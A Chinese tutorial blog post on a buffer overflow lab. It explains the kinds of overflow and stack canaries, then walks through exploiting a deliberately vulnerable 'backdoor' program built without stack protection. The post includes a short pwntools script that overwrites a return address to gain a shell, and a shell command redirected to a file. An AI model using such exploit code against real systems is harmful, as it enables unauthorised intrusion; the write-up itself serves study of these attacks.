作者:战神/calmness
文章来源:https://blog.csdn.net/weixin_43650289/article/details/110005655
目录
描述
类别
拓扑图
准备环境
过程
分析
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
描述
缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。
缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。
类别
缓冲区溢出的攻击大致分为以下几类:栈溢出(stack smashing)未检查输入缓冲区长度,导致数组越界,覆盖栈中局部变量空间之上的栈桢指针%ebp以及函数返回地址retaddr。
堆溢出(malloc/free heapcorruption):一种是和传统的栈溢出一样, 当输入超出malloc()预先分配的空间大小,就会覆盖掉这段空间之后的一段存储区域,如果该存储区域有一个重要的变量比如euid。
格式化字符窜漏洞(format stringvulnerability):如果格式窜由用户定制,攻击者就可以任意伪造格式窜,利用*printf()系列函数的特性就可以窥探堆栈空间的内容,超常输入可以引发传统的缓冲区溢出,或是用”%n”覆盖指针、返回地址等。
整形变量溢出(integer variableoverflow):利用整数的范围、符号等问题触发安全漏洞,大多数整形溢出不能直接利用,但如果该整形变量决定内存分配等操作,我们就有可能间接利用该漏洞。
其他的攻击手法(others):只能算是手法,不能算是一种单独的类别。利用ELF文件格式的特性如:覆盖.plt(过程连接表)、.dtor(析构函数指针)、.got(全局偏移表)、return-to-libc(返回库函数)等的方式进行攻击。
Stackguard:因为缓冲区溢出的通常都会改写函数返回地址,stackguard是个编译器补丁,它产生一个"canary"值(一个单字)放到返回地址的前面,如果 当函数返回时,发现这个canary的值被改变了,就证明可能有人正在试图进行缓冲区溢出攻击,程序会立刻响应,发送一条入侵警告消息给syslogd, 然后终止进程。
拓扑图
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
准备环境
靶机部署缓冲区的环境:程序绑定在 12345 端口
编译
gcc backdoor.c -o backdoor -fno-stack-protector
运行
$ ./backdoor
攻击机安装依赖环境:使用 python3 环境
安装pwntools
$ pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/
过程
1.在攻击机器上编写exp.py脚本
from pwn import *
# cn=process('./backdoor')
cn=remote('192.168.220.241',12345) # 靶机部署的地址
cn.sendline(p64(0)*3+p64(0x400770))
cn.interactive()
运行脚本
python3 exp.py
未安装依赖包
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
安装依赖包过程
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
python3 -m pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt-get install -y python3-dev python3-pip libffi-dev libssl-dev
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
$ pip install pipenv
$ pipenv shell
> pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/
发现使用上述方法不管用
进行更新包安装
apt-get update
下载包
git clone https://github.com/Gallopsled/pwntools
继续安装
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
结果
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
或者
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
更改反弹的内容
“/bin/sh -c ifconfig > /tmp/ev.txt"
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
最后在水滴上查看结果;
分析
查看靶机源码中定义了端口,函数,反弹的一句话
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
这里定义客户端,字符串
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
当循环到一定程度上,超出了所能存储的范围,就会形成溢出
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
同时也做了监听
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
参考脚本地址:https://pypi.org/project/pwntools/
![缓冲区溢出之攻击 缓冲区溢出之攻击]()
_end_
本文始发于微信公众号(乌雲安全):缓冲区溢出之攻击
评论